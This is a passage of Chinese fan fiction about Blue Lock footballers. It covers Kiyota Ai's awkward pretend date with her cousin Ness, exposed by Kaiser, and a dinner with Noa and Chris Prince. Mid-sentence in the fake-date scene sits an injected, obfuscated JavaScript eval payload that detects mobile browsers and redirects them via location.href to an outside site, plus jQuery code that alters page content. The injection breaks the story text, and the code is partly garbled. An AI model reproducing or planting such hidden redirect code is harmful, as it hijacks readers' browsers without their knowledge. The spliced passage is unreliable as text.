这个念头像一颗投入平静湖面的石子,漾开了一圈涟漪。我的思绪不由自主地飘向了那个我现在最不该想的人——米歇尔·凯撒。还有亚历克西斯·内斯。 他们两个,在德国……或者说,在欧洲足坛,名气怎么样?人气高吗?尤其是凯撒,那个一副天上地下唯我独尊样子的家伙,难道真的有很多人喜欢他那种类型? 好奇像藤蔓一样悄悄缠绕上来。反正现在闲着也是闲着,了解一下“对手”的情报……也没什么吧?只是出于对足球圈现状的好奇而已!绝对不是因为别的! 我深吸一口气,像是要做什么重大决定似的,拿起手机,点开了那个平时很少光顾的蓝色小鸟图标——推特。我的账号几乎是个空壳,注册得很早,但很少发东西,只有零星几条日常碎碎念和几张不露脸的氛围感自拍,互关的对象也只有玲王和凪,连蜂乐回都没关注——因为总觉得玩这个有点麻烦。 我在搜索框里犹豫了一下,先是输入了“Alexis Ness”。 跳出来的结果不少,大多带着德语的标签。有很多他穿着拜塔青训队服的照片,看起来清秀又认真。评论里有不少夸他“组织调度有大师风范”、“中场节拍器”、“未来可期”的,也有不少女粉丝尖叫着“内斯好可爱!”“梅色眼睛太漂亮了!”“下垂眼狗狗系!”之类的。人气似乎不错,是那种稳健上升、口碑很好的新星。 嗯,符合内斯给我的感觉。我稍微松了口气。 接下来……才是重头戏。我的手指在屏幕上悬停了半天,才像是赴死一样,缓缓敲下了“Michael Kaiser”。 搜索结果的加载圈转了一下,下一秒,屏幕被海量的信息瞬间淹没! 铺天盖地的照片、视频、粉丝绘画、讨论帖……像潮水一样涌现在屏幕上,刷新速度快得惊人!各种语言的推文混杂在一起,德语、英语、西班牙语……甚至还有日语和韩语!标签#Kaiser #MichaelKaiser 后面跟着的推文数简直吓人! 我目瞪口呆地看着屏幕,手指下意识地向下滑动。 满屏都是凯撒!训练中的凯撒,比赛中的凯撒,进球后对着镜头做出标志性庆祝动作——手指划过下巴,眼神睥睨的凯撒,甚至还有不少街拍,他戴着那副遮住大半张脸的墨镜,穿着私服,一副生人勿近的酷拽模样…… 而更让我头皮发麻的,是底下那些评论! 【啊啊啊啊Kaiser大人!请用您冰蓝色的眼眸凝视我!踩我!(一些看不懂的德语)】 【又帅又强又狂!天生王者!我就是他的狗!】 【这身材这脸这气场!不出道当模特是时尚界的损失!】 【老公!今天又进球了!老公鲨我!】 【没有人能拒绝Kaiser!没有人!他是神!】 【那个蓝玫瑰纹身!嘶哈嘶哈……我想亲吻那荆棘……】 【女友粉在此!Kaiser看我一眼!就一眼!】 各种露骨直白的、疯狂示爱的、甚至带点颜色的话夹杂在正常的足球讨论中,密密麻麻,看得我眼花缭乱,脸颊发烫。我甚至看到好几个粉丝数庞大的账号,ID直接就是“Kaiser''s Girlfriend”、“Mrs-Kaiser”、“Kaiser专属挂件”…… 这、这也太夸张了吧?!我知道他可能有点名气,但这简直是……是邪教吧?!这些女孩子都不用上课不用工作的吗?!她们看到的是那个嘴巴恶毒、性格恶劣、动不动就脱衣服吓唬人的凯撒吗?难不成他有什么双重人格?! 我呆愣地看着手机屏幕,大脑处理不过来这巨大的信息量。所以……那家伙在网络上,真的是个超级受欢迎的、拥有无数狂热女友粉的……球星? 那他昨天那种行为……对谁都那样吗?也是他维持人气的一种手段?一种……福利? 想到这里,心里忽然涌起一股说不清道不明的别扭和烦躁,像是吃了一颗没熟的柠檬,酸涩感顺着喉咙一路蔓延到心口。我猛地按熄了屏幕,把手机反扣在腿上,仿佛那是什么烫手的山芋。 不想看了。一眼都不想再看了。 怪不得那么熟练……原来是个惯犯。那种游刃有余的调侃,那种步步紧逼的作风,说不定就是靠着那张脸和身材,在无数粉丝的追捧中练就的。 我甚至阴暗地猜测,他那推特上会不会经常“不经意”地晒些肌肉照什么的……毕竟看他视频通话时那坦荡自然的样子,估计也没少干。 但这个念头刚冒出来,就被我狠狠掐灭了。我才不要搜他的推特!绝对不要!万一真的看到了什么不该看的……我怕我眼睛受不了!而且,万一不小心手滑点了赞或者关注……那简直就是社会性死亡!绝对会被他嘲笑到死! 我的推特账号虽然贫瘠,但也不能冒这个险。尤其是互关里只有玲王和凪……要是被玲王发现我关注了凯撒,以他那敏锐的嗅觉和爱吃醋的性子,绝对会刨根问底,到时候我怎么解释?说我想看看他有多受欢迎?然后欣赏玲王气成河豚的样子吗? 至于内斯……虽然他是个温暖的好表哥,但我更不敢告诉他我在搜凯撒。以他对凯撒那近乎盲目的崇拜和维护,搞不好转头就会用那种“我妹妹终于开窍了发现凯撒的魅力了吗”的欣慰语气告诉凯撒!那后果……不堪设想。 可是……凯撒到底是怎么加上我联系方式的?我明明没有任何印象给过他我的账号,也没通过可能暴露号码的社交软件……难不成他真的有那种……异能力?比如“绝对能拿到想要的女孩子联系方式”的超能力? 我的思绪又开始不受控制地飘向更离谱的方向。目光下意识地虚空聚焦,仿佛又看到了凯撒凑近时,手臂上那清晰无比的荆棘蓝玫瑰王冠纹身。那图案华丽又冰冷,带着一种邪性的魅力,缠绕在他线条流畅的小臂上。 难道……那个纹身其实是他发动异能的媒介?只要他愿意,就能通过纹章契约强行和被锁定目标建立通讯连接?所以才能如此神不知鬼不觉地出现在我的好友列表里,像个幽灵一样…… 就在我天马行空,胡思乱想到快要说服自己相信“凯撒异能说”的时候,握在手里的手机突然嗡嗡震动了两下。 我被吓了一跳,差点把手机扔出去。心惊胆战地翻过来一看—— 发信人不是那个阴魂不散的凯撒。 是内斯。 悬到嗓子眼的心猛地落回原地,甚至因为落差太大而有点发虚。我长长吁出一口气,指尖都因为刚才的紧张而微微发麻。 点开消息。 【内斯:爱!在酒店吗?今天下午有什么安排吗?(?▽`)】 他的语气一如既往的轻快温和,带着小心翼翼的关切,像一道暖流,稍稍驱散了我心头因为凯撒那群狂热粉丝带来的莫名郁气。 我犹豫了一下,手指在屏幕上敲打。虽然不想出门,怕碰到某个不该碰的人,但对着内斯,我说不出硬邦邦的拒绝。 【我:在酒店呢。下午还没想好……可能就在附近随便走走?】 消息刚发过去没多久,内斯的回复就来了。 【内斯:这样啊……其实,如果你下午没事的话,要不要来基地的咖啡厅坐坐?就我们两个。】他特意补充了一句,【凯撒他下午被教练组叫去开会了,据说是个很重要的战术会议,一时半会儿绝对结束不了!我保证他不会突然出现!(;?д`)ゞ】 他看着屏幕,几乎能想象出内斯在那边拼命保证、生怕我因为凯撒而拒绝的模样。他甚至还发了个可怜巴巴的颜文字。 只是……咖啡厅吗?听起来似乎……没那么有压迫感。而且他强调了“就我们两个”,还保证了凯撒不会出现。 心底那点因为凯撒而竖起的尖刺,在面对内斯时,总是很容易就软化下来。他是我表哥,是真心关心我的人,一直拒绝他似乎也不好。而且,我也确实有点好奇拜塔的青训基地内部是什么样子。 挣扎了片刻,我还是回复了过去。 【我:好吧……那等下见?】 【内斯:太好了!(^o^) 那我大概半小时后到酒店楼下接你?】 【我:嗯,好。】 放下手机,我揉了揉脸颊,试图把那些关于凯撒的乱七八糟的想法都甩出去。只是去见内斯而已,没什么大不了的。 我起身走到衣柜前,开始挑选衣服。手指划过一条条裙子,最后却鬼使神差地拿出了一件简单的白色T恤和一条浅蓝色牛仔裤。 只是随便见个面而已,穿得太随意也没关系吧?我对着镜子比划了一下,嗯,看起来清爽又普通,绝对不会让人误会是去干什么的。 换好衣服,简单梳理了一下头发,我看着镜子里那个脸色似乎还有些残余红晕的自己,深吸一口气。 没关系的,清田爱。只是去喝个咖啡,聊聊天。凯撒不在。把他那些铺天盖地的女友粉和那个该死的视频通话都忘掉! 半小时后,我准时下了楼。内斯已经等在酒店大厅了。他穿着一件干净的训练外套,衬得他梅色的眼睛更加柔和。看到我,他立刻露出一个温暖的笑容,快步迎了上来。 “爱!这边!” “内斯,等很久了吗?” “没有没有,我也刚到。”他连忙摆手,眼神在我身上扫过,笑容不变,“我们走吧?基地离这里不远,步行过去大概十分钟。” 走在慕尼黑午后温暖的街道上,内斯体贴地找着各种话题,从慕尼黑的天气聊到好吃的餐厅,再聊到基地里有趣的队友,巧妙地避开了任何可能提及凯撒的雷区。气氛轻松而愉快。 很快,拜塔青训基地那现代化的宏伟建筑就出现在了眼前。通过门禁,内斯熟门熟路地领着我穿过一片片修剪整齐的草坪和训练场,偶尔有穿着训练服的年轻球员跑过,看到内斯会打招呼,好奇的目光也会在我身上停留一瞬。 “咖啡厅就在前面那栋楼的二楼,视野很好,能看到一号训练场。”内斯指着前方一栋玻璃幕墙的建筑介绍道。 就在我们快要走到那栋楼门口时,旁边一条小路上突然传来一阵喧哗声,夹杂着兴奋的德语和英语。 “凯撒!” “刚才那脚太帅了!” “不是说在开会吗?怎么这么快结束了?” 凯撒这个名字像一道惊雷劈进我的耳朵里。 我的脚步瞬间僵住,血液好像都凉了半截。不是说……很重要的会议,一时半会儿结束不了吗?! 我猛地扭头看向内斯,只见他也是一脸错愕和慌乱,梅色的眼睛睁得大大的,看着声音传来的方向,嘴唇微张,喃喃道:“不、不可能啊……教练明明说至少要开到四点的……” 然而,现实无情地击碎了他的保证。 只见那条小路的尽头,一群刚刚结束训练或者路过的球员正簇拥着一个人走出来。被围在中间的那个身影,高大挺拔,金色的发丝在阳光下耀眼夺目,几缕挑染的蓝色如同冰棱。他穿着一身汗湿的拜塔训练服,脖子上随意搭着一条毛巾,正侧头听着身边一个队友说话,脸上没什么表情,但那股天生的焦点气场却无法掩盖。 不是米歇尔·凯撒又是谁?! 他怎么会在这里?!会议提前结束了?还是内斯的信息有误? 凯撒似乎感受到了这边的视线,漫不经心地转过头。冰蓝色的眼眸精准地越过人群,一下子捕捉到了僵在原地的我,以及我身边脸色煞白、惊慌失措的内斯。 他的目光在我身上那套简单得不能再简单的T恤牛仔裤上停留了一瞬,然后又扫过内斯明显心虚的脸。随即,他像是明白了什么,嘴角极其缓慢地、勾起了一个了然又充满戏谑的弧度。 他对着身边的队友说了句什么,那群人便哄笑着先离开了。然后,他迈开长腿,不紧不慢地朝我们走了过来。毛巾被他随手抓在手里,每一步都带着一种无形的压迫感。 内斯紧张得几乎要同手同脚了,他下意识地上前半步,似乎想把我挡在身后,声音都有些发颤:“凯、凯撒!会、会议结束了吗?” 凯撒在我们面前站定,无视了内斯的问题。他的目光像探照灯一样在我脸上扫过,然后停在我因为紧张而微微抿起的嘴唇上。 “呵。”他发出一声极轻的嗤笑,带着洞悉一切的嘲弄,然后用那种慢悠悠的、该死的腔调,清晰地问道: “这么普通的打扮……”他微微倾身,声音压低,却足够让我和内斯都听得一清二楚, “……是怕被我误会成约会吗?小学徒。” 当我意识到我听到什么的时候,脸已经熟成番茄了。 ——约会?! 这个词像一颗炸雷在我脑海里轰然爆开,震得我耳膜嗡嗡作响。血液“嗡”地一下全部涌上头顶,脸颊烫得几乎能煎鸡蛋。我甚至能感觉到颈动脉在皮肤下疯狂地跳动。 他、他怎么会想到那里去的?!我只是……只是穿得很普通地来见内斯而已!虽然、虽然确实稍微考虑了一下不要显得太刻意,但绝对没有他说的那种意思! 从小到大,和玲王一起出去玩,他那边的保镖婆婆总会“适时”地出现在不远处,美其名曰保护少爷安全,实际上那种被无形目光注视的感觉,让任何可能萌发的暧昧苗头都迅速枯萎,根本谈不上约会。而和凪唯一一次单独去咖啡厅,还没坐稳十分钟,就被不知道从哪里得到消息的玲王抓个正着,尴尬得能抠出三室一厅,自然也绝对算不上约会。 这个家伙……他知道他这些轻飘飘的、带着戏谑的话,对我这个十七年来感情经历一片空白、连和男生单独出门都会心跳加速半天的女高中生,造成了多么毁灭性的打击吗?! 不行!不能这样下去!绝对不能让他掌握主动权!必须立刻、马上找到一个合理的借口,堵住他的嘴,否则以他这种恶劣的性格,绝对会抓着这一点嘲笑我到世界末日! 大脑在极度羞耻和慌乱中超负荷运转,几乎要冒出火花。电光石火间,一个荒谬到极点的念头猛地蹿了出来——既然他认为是约会,那就把“约会”坐实!只不过对象换一个! 几乎是出于一种破罐破摔的自保本能,我猛地伸出手,一把抓住了旁边还在试图解释“会议为什么提前结束”的内斯的手腕!他的手腕很细,皮肤温热,被我突然抓住,他吓得整个人都僵住了,剩下的话全噎在了喉咙里,梅色的眼睛难以置信地瞪大,看向我。 我紧紧攥着内斯的手,像是抓住了一根救命稻草,指甲几乎要掐进他的皮肤里。我能感觉到自己的手在微微发抖,但声音却强行装出一副镇定自若的样子,抬起头,迎上凯撒那双冰蓝色的、充满玩味审视的眼睛: “是又怎么样?”我的声音有点发紧,但努力维持着气势,“我就是和内斯过来约会的,有什么问题吗?” 空气瞬间凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251840|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固了。 内斯整个人像是被雷劈中,彻底石化在原地,嘴巴张成了一个可爱的“O”型,脸颊以肉眼可见的速度迅速蹿红,比我刚才的脸色好不到哪里去。他甚至下意识地想抽回手,但被我死死拽住,动弹不得。 凯撒脸上的戏谑笑容僵硬了一瞬。他显然没料到我会这么回答,冰蓝色的眼眸微微眯起,视线在我和内斯紧紧交握的手上扫过,然后又落回我强作镇定的脸上。他挑了挑眉,拖长了语调,带着一种发现有趣事物的探究: “哦——?约会?”他像是听到了什么极其好笑的事情,嘴角重新勾起,但那笑意并未到达眼底,“内斯,我怎么不知道,你和你的小表妹……还有这种发展?”他的目光转向内斯,带着无形的压力,“还是说,在日本,表兄妹之间是可以结婚的?” 我的心脏猛地一沉。 这点……他居然说对了! 好像……好像日本法律确实允许表兄妹结婚?!虽然极其罕见且通常会受到社会议论,但从法律层面讲,似乎真的可以! 完蛋!借口要被戳穿了!怎么办?! 内斯的脸已经红得快要滴出血来了,他结结巴巴地试图开口:“不、不是的,凯撒,我们……” “我们血缘关系已经超过三代了!”我几乎是尖叫着打断内斯的话,声音因为急切而拔高,甚至有点破音,“哪个国家都可以结婚!不、不对!我的意思是,我们没有任何法律上的障碍!” 情急之下,我另一只手也伸了过去,不是握手,而是紧紧拽住了内斯训练外套的袖子,用力把他往我这边拉了一下,同时踮起脚尖,将发烫的脸颊凑近他的耳边,用尽全身的力气,压低了声音,用我仅会的、磕磕绊绊的德语,气声哀求道: “Bruder… Hilf mir…!”(哥哥…救救我…!) 这个词一说出口,我自己的脸颊也再次爆炸般滚烫起来!太羞耻了!为了圆谎,我居然对着名义上的表哥喊出了“哥哥”还求救! 内斯显然听到了我这句蚊蚋般的德语求救。他浑身剧烈地一颤,像是被电流击中,从耳根到脖子瞬间红透,差点被自己的口水呛到,猛地咳嗽起来:“咳!咳咳咳……” 但他似乎瞬间理解了我的窘境和意图。他深吸了好几口气,努力平复着剧烈的咳嗽和脸上的红潮,眼神闪烁不敢看凯撒,但还是鼓起勇气,声音带着明显的颤抖和心虚,结结巴巴地开始帮我打掩护: “是、是的凯撒……那个……我和爱……我们……嗯……就是……出来聊聊……散步……对,散步!”他越说声音越小,最后几乎变成了喃喃自语,完全没有任何说服力。 凯撒双臂环抱在胸前,好整以暇地看着我们这对“表兄妹”漏洞百出、脸红得像煮熟虾子一样的蹩脚表演。他脸上那抹戏谑的笑容加深了,冰蓝色的眼眸里闪烁着洞察一切的光芒,显然一个字都没信。 “哦?超过三代血缘关系的表兄妹约会?”他慢悠悠地重复了一遍,语调上扬,带着毫不掩饰的嘲讽,“真是……感人的亲情升华啊。” 他的目光像冰冷的探针一样在我脸上来回扫视,仿佛在欣赏我垂死挣扎的窘态。然后,他向前走了一小步,那股清冽又带着压迫感的气息再次笼罩下来。 “不过,小学徒,”他微微倾身,声音压得更低,带着一种只有我们三人能听到的、恶劣的趣味,“下次撒谎前,记得先照照镜子——你脸红得,可比你身边这位‘约会对象’厉害多了。” 他的话像一把精准的匕首,瞬间刺破了我所有的伪装。我甚至能感觉到脸上的热度又攀升了一个等级,几乎要冒出蒸汽来。 “而且,”他的视线转向恨不得把自己缩进地缝里的内斯,语气轻飘飘的,却带着千斤重压,“内斯,你的演技……真是烂得一如既往。” 内斯羞愧地几乎要把头埋进胸口了。 就在我以为这场拙劣的谎言即将被彻底拆穿,绝望地准备迎接凯撒更猛烈的嘲讽时,他却没有再步步紧逼。 他只是用那双仿佛能看穿一切的眼睛最后瞥了我一眼,嘴角噙着一抹意味不明的笑容,然后直起身,仿佛失去了兴趣般,随意地摆了摆手。 “行了,不打扰你们‘表兄妹’的深度交流了。”他转过身,将毛巾甩到肩上,迈开长腿朝着咖啡厅相反的方向走去,只留下一句懒洋洋的、带着余音的话, “玩得开心点,两位。尤其是你,小学徒……好好享受你的,‘约会’。” 直到那个金蓝挑染的背影彻底消失在走廊尽头,那股令人窒息的压力才骤然消失。 我和内斯几乎同时长长地、彻底地松了一口气,像是刚从水里捞出来一样,浑身脱力。我这才发现,自己的后背竟然惊出了一层薄汗,手心也全是湿漉漉的。 我慌忙松开还紧紧抓着内斯手腕和袖子的手,像是被烫到一样。内斯也触电般地收回手,脸颊上的红晕还未完全褪去,眼神躲闪着不敢看我,气氛尴尬得几乎能凝出水来。 “对、对不起!爱!”内斯率先开口,声音里充满了愧疚和慌乱,“我不知道凯撒他会突然出现……我真的听说会议要开很久的……我、我不是故意……” “不,不怪你,内斯。”我赶紧打断他,声音还有些发虚,“是我……是我突然拉住你,还说了那些奇怪的话……对不起,让你为难了。”想到自己刚才情急之下居然拽着他喊“哥哥”,我就恨不得找个地缝钻进去。 “没、没有为难!”内斯连忙摆手,梅色的眼睛里满是真诚的歉意,“是我没安排好,差点又让凯撒吓到你了……他其实……唉……”他似乎想为凯撒辩解两句,但最终只是化作一声无奈的叹息。 我们两人面面相觑地站在走廊里,中间隔着一段微妙的距离,空气里弥漫着挥之不去的尴尬和劫后余生的庆幸。 “那……我们还去咖啡厅吗?”内斯小声问道,语气有些犹豫,似乎怕我再受到惊吓。 我看了看咖啡厅的方向,又想了想刚刚凯撒离开的路径,心有余悸。虽然他说了不打扰,但谁知道他会不会突然又从哪里冒出来? “要不……还是算了吧?”我提议道,声音带着一丝不易察觉的颤抖,“我突然有点……想回酒店休息了。” “好!好的!”内斯如蒙大赦,立刻点头,“我送你回去!” 回酒店的路上,我们俩都很沉默。内斯几次欲言又止,似乎想找点话题打破尴尬,但最终都没能成功。我则完全沉浸在刚才那惊心动魄的几分钟里,凯撒那句“约会”和“脸红”还在脑海里循环播放,脸颊一阵阵发烫。 直到把我送到酒店楼下,内斯才鼓起勇气再次道歉:“爱,今天真的非常抱歉!下次……下次我一定确认绝对安全再邀请你!” “真的没关系,内斯。”我努力对他露出一个安慰的笑容,“谢谢你今天愿意帮我……嗯……圆谎。”说到最后两个字,我的声音又低了下去。 内斯的脸又红了一下,他摇了摇头,眼神温柔下来:“没什么。你是我的表妹嘛……保护你是应该的。”他顿了顿,又补充道,“虽然我的演技很烂,还被凯撒拆穿了……” 他的语气带着点自嘲和沮丧,让我心里有些过意不去。 “没有的事!你演得很好!”我连忙安慰他,“是凯撒他太狡猾了!” 和内斯道别后,我几乎是逃也似的冲回了自己的酒店房间,反锁上门,背靠着冰凉的门板大口喘气。 完了。完了完了完了。 不仅没摆脱嫌疑,反而在凯撒面前表演了一场漏洞百出、羞耻度爆表的“表兄妹约会”戏码!他最后那个眼神和笑容,分明就是看穿了一切,并且觉得非常有趣! 以后还怎么面对他?!还有内斯!刚才那尴尬的气氛……以后见面都会想起今天的事吧?! 我把发烫的脸埋进掌心,发出无声的哀嚎。 足球的世界……为什么除了激烈的竞争和热血的梦想,还会有这么多让人心率失调、面红耳赤的糟糕瞬间啊! 而且,为什么偏偏总是我遇到?! 41. 比赛 明天就要去看比赛了,我内心尴尬得不行,拿手机点外卖给自己点了个冰淇淋降降温。盯着手机屏幕上各种口味的冰淇淋图片,感觉脸上的热度还没完全退下去。最后选了个看起来最苦的黑巧克力加倍口味,希望能以毒攻毒。 心脏边吃巧克力冰淇淋边冷却,总算缓了过来。冰凉甜腻的触感从舌尖蔓延开,稍微压下了那股莫名的燥热。我开始思考以后是不是每次见凯撒都要自带个冰袋,要不然根本没法降温。或者说谁把他嘴巴封上啊,不要让他再说话了。算了算了,这种危险的想法还是趁早打住。 吃到一半,才意识到到现在我还没吃正经晚饭。看了看时间,已经不早了。老爸不会还在睡倒时差吧?想着去隔壁叫老爸起床,顺便商量下去哪儿解决晚餐。 结果刚走到他房门口,还没抬手敲门,就隔着门板听到了里面惊天动地的动静。 爸爸似乎是在和两个人说话,声音透过门板有些模糊,但能听出情绪相当高涨。一个声音听起来很阳光清朗,像个大男孩,语气激动;另一个则相对低沉平稳些,但说出的话却总带着点……噎死人不偿命的感觉。 这个较成熟的声线……怎么有点耳熟? 我努力把耳朵贴近门板,屏息细听。 “……所以我说,现代足球需要的是全面性!能射门,能组织,还能回防!就像我这样!”这是那个阳光青年的声音,带着毫不掩饰的自夸和一丝争辩的急切。 “进球数。助攻数。关键传球。防守贡献。综合评分。”那个低沉平稳的声音响起,语速不快,每个词都像一颗小石子,精准地丢出来,“上赛季,我全面领先。票选,史上最大差距。公认的,世界第一。” 我猛地瞪大了眼睛! 这、这不就是诺埃尔·诺亚的声音吗!那个在拜塔见过一面的、冷酷又强大的世界级前锋!他怎么会在这里?还在我爸房间里? 仔细听内容,似乎是两个前锋在争,哪个前锋才最好的。而诺亚是当之无愧的世界第一前锋,那个青年很不服,甚至有些孩子气,非要我爸给他俩评评理。 “那是他们不懂欣赏!我的风格更具观赏性!球迷更喜欢!”阳光青年据理力争,声音都拔高了些。 诺亚的声音依旧没什么起伏,但杀伤力十足:“球迷投票,我也是第一。需要我分享链接吗,普林斯?” “你——!”那个被叫做普林斯的青年好像被噎得够呛,气了个半死,“伊戈尔!你评评理!你说!谁更厉害?!” 我爸的声音夹在中间,听起来非但没有劝和,反而罕见地煽风点火,唯恐天下不乱:“哎呀呀,这个嘛……诺亚的数据确实没得说,克里斯你的天赋也是肉眼可见……难办啊难办!要不你们再进几个球比比?” “我已经进了很多了!” “我更多。” “我的更精彩!” “效率至上。” 整个屋子里弥漫着火药味,总结起来就是诺亚用最平淡的语气扔最狠的数据,把那个叫做克里斯·普林斯的青年和看热闹不嫌事大的我爸一起噎得够呛。我从他们的对话中才得知那个青年叫做克里斯·普林斯,似乎是英超满城俱乐部的前锋。 好家伙……两个世界顶级前锋,加上我一个看热闹的老爸,在我爸的酒店房间里进行这种小学鸡级别的吵架? 这场面太魔幻了,我有点消化不了。他们还在掐架,内容已经从单纯谁更强,上升到谁的庆祝动作更帅气,谁的粉丝更狂热了。诺亚依旧用“我粉丝更多,投票证明”来应对一切。 我站在门口,进退两难。这个时候推门进去,感觉会瞬间被那诡异的气氛吞噬掉。于是我想退缩,还是自己点外卖算了。 刚转过身,还没迈开步子,电梯“叮”的一声在这层响了。一个穿着外卖制服的小哥拎着一个巨大的、散发着浓郁烤肉香气的纸袋走了出来,对照着门牌号,径直走向我……旁边的房门。 是我爸的房间。他点的外卖到了。 外卖小哥看着杵在门口、表情僵硬的我,又看了看门牌号,疑惑地问:“您好,是……伊戈尔·清田先生点的餐吗?” 他的声音不大,但在安静的走廊里显得格外清晰。 几乎就在他话音落下的瞬间,房间内的争吵声戛然而止。 完了。 我猛地后退一步,和外卖员面面相觑,恨不得当场隐形。 房间内传来一阵脚步声,紧接着门被猛地拉开。我爸那张兴致勃勃、看热闹看得正开心的脸出现在门后,看到我和外卖小哥,愣了一下,随即露出一个大大的笑容:“哦!到了啊!谢谢谢谢!”他接过那个巨大的外卖袋,然后目光落在我身上,“爱?你来得正好!来来来,进来进来,给你介绍两位……嗯……朋友?” 我能说不吗? 我爸已经侧身让开,房间内的景象一览无余。诺埃尔·诺亚穿着一身黑色的休闲服,面无表情地坐在单人沙发上,手里拿着手机,似乎刚才正在查数据,听到动静抬眼看过来,那双锐利的眼睛在我身上停留了一瞬,微微颔首,算是打过招呼。 而另一边,一个金发蓝眼的青年正站在房间中央,脸上还残留着刚才争论时未褪去的激动红晕,但他很快调整了表情,露出一口白牙,笑容灿烂得几乎能晃花人眼,充满了阳光和活力。他应该就是克里斯·普林斯了。 “嘿!这就是清田的女儿?”克里斯的声音和他的外表一样,充满活力,他好奇地打量着我,眼神直接而毫不掩饰,“长得真像美纪小姐!你好啊,我是克里斯·普林斯!” 他的目光转向我爸,带着点调侃:“伊戈尔,可以啊!女儿都这么大了!难怪之前那会状态下滑,是忙着带娃了吧?” 我爸笑骂着捶了他肩膀一下:“滚蛋!老子状态好得很!爱,别理他,这家伙狗嘴里吐不出象牙。” 诺亚在一旁淡淡地补充了一句:“根据数据,伊戈尔退役前那段时间的扑救成功率同比下降百分之三点七。与年龄正相关。” 我爸:“……诺亚你能不能别在这个时候拆台?” 克里斯哈哈大笑起来,似乎很得意诺亚帮我爸“证明”了。 我站在门口,看着这三位足坛大佬像小孩子一样互相拆台,感觉像是在做一个光怪陆离的梦。房间里弥漫着烤肉的香气和一种……难以形容的、幼稚又热烈的气氛。 “那个……我……”我试图找个借口溜走,“我就是来看看你吃没吃饭……我那边还有点事……” “什么事能比吃饭重要?”我爸一把将我拉进房间,关上门,隔绝了外卖小哥可能投来的好奇目光,“正好,一起吃点!克里斯这小子虽然嘴欠,但点的这家烤肉可是一绝!诺亚,你也别光坐着,吃点?” 诺亚看了一眼那巨大的外卖袋,眉头几不可查地皱了一下:“热量超标。不符合我的食谱。” “偶尔一次没关系啦!”克里斯已经自顾自地打开袋子,拿出里面一个个餐盒,浓郁的肉香瞬间充满了整个房间,“踢球不享受美食,还有什么乐趣?你看伊戈尔,就是吃得开心,才……呃……”他瞥见我爸眯起的眼睛,及时刹住了车,转而对我露出灿烂的笑容,“来来来,小清田,尝尝这个!保证你喜欢!” 我被半推半就地按在了沙发上,手里被塞了一双筷子和一个堆满了烤肉的盘子。克里斯非常自来熟地给我介绍着各种肉的种类和蘸料,热情得让人难以招架。我爸在一旁吃得满嘴流油,时不时加入克里斯的吹嘘,或者被诺亚用冷静的数据反驳。 诺亚虽然说着热量超标,但在我爸和克里斯(主要是克里斯)的强行投喂下,也勉强吃了一小片肉,然后就开始捧着手机,大概是在计算需要增加多少训练量才能消耗掉这点卡路里。 “所以说,天赋固然重要,但激情!对足球的爱!才是最重要的!”克里斯挥舞着一根烤肉叉,情绪高昂地发表着演说,“要让球迷为你疯狂!为你欢呼!这才是前锋的意义!” 诺亚头也不抬:“进球才有意义。效率带来胜利。胜利带来欢呼。” “死板!” “实用。” “我的踢法更具观赏性!” “我的得分更高。” 眼看新一轮的争吵又要开始,我爸赶紧打圆场:“好了好了,都厉害都厉害!哎,爱,你看诺亚和克里斯,风格完全不同,但都是顶级前锋!所以说足球才有意思嘛!” 我低着头,小口小口地吃着盘子里的烤肉,味道确实很好,但在这诡异的气氛下,有点食不知味。我只能含糊地点头:“嗯……都很好……” 克里斯似乎对我的反应很感兴趣,他凑近了一些,那双湛蓝的眼睛盯着我:“小清田,你说,你更喜欢哪种风格?是像我这样充满激情和创造力的,还是像诺亚那样……呃……高效精准的?”他问完,还挑衅似的看了诺亚一眼。 诺亚终于从手机屏幕上抬起头,也看向我,虽然没说话,但那眼神里分明也带着询问。 我:“……” 为什么战火会烧到我这里?! 我感觉手里的筷子有千斤重。这问题怎么答都是死啊!说喜欢克里斯的风格,等于得罪诺亚;说喜欢诺亚的风格,克里斯肯定要不高兴;说都喜欢……显得太敷衍,而且他俩明显不想听这个答案。 我爸在一旁看热闹不嫌事大,还笑着怂恿:“对啊,爱,说说看嘛!你也开始踢球了,总有点喜好吧?” 我深吸一口气,感觉额头都要冒汗了。目光在克里斯期待闪闪的蓝眼睛和诺亚平静无波但压力十足的眼神之间徘徊了一下,最终急中生智,憋出来一句: “我……我觉得守门员最厉害!”说完,我还用力点了点头,试图增加说服力,“能挡住所有射门的守门员,才是最厉害的!” 空气安静了一瞬。 我爸先是愣了一下,随即爆发出惊天动地的大笑,用力拍着我的后背:“哈哈哈哈!说得好!不愧是我女儿!有眼光!守门员才是球队的爹!哈哈哈哈哈!” 克里斯的表情僵了一下,似乎没想到我会这么回答,然后也忍不住笑了起来,摇着头:“哇哦……伊戈尔,你这洗脑工作做得可以啊!” 连诺亚的嘴角似乎都几不可查地向上弯了一下,虽然很快又恢复了平直,他淡淡地评价了一句:“从逻辑上讲,无法反驳。优秀的门将确实能极大提升球队下限。” 这个死亡问题总算被我糊弄过去了。我暗暗松了口气,感觉后背都湿了。和这些顶级球员待在一起,压力实在太大了,尤其是他们还在进行这种幼稚的辩论时。 接下来的时间,我基本埋头苦吃,尽量减少自己的存在感。听着我爸和克里斯插科打诨,诺亚偶尔毒舌补刀,一顿饭吃得也算是“波澜壮阔”。 好不容易熬到吃完,克里斯接了个电话,似乎是俱乐部找他有事,他嚷嚷着“肯定是催我回去了,真烦人”,然后风风火火地跟我们道了别,临走前还非要跟我击个掌,笑容依旧灿烂夺目:“下次再见啦,小清田!记得来看我比赛!保证比某些人的好看多了!”收获诺亚冷淡的一瞥后,大笑着离开了。 诺亚也随后起身,言简意赅地表示需要回去进行训练补偿,跟我爸点了点头,又对我说了句“期待你未来的表现”,也离开了。 房间里终于只剩下我和老爸,以及一桌子的狼藉。 爸爸满足地摸着肚子,瘫在沙发上:“哎呀,真是热闹的一晚上啊……怎么样,爱,见识到顶级前锋的多样性了吧?” 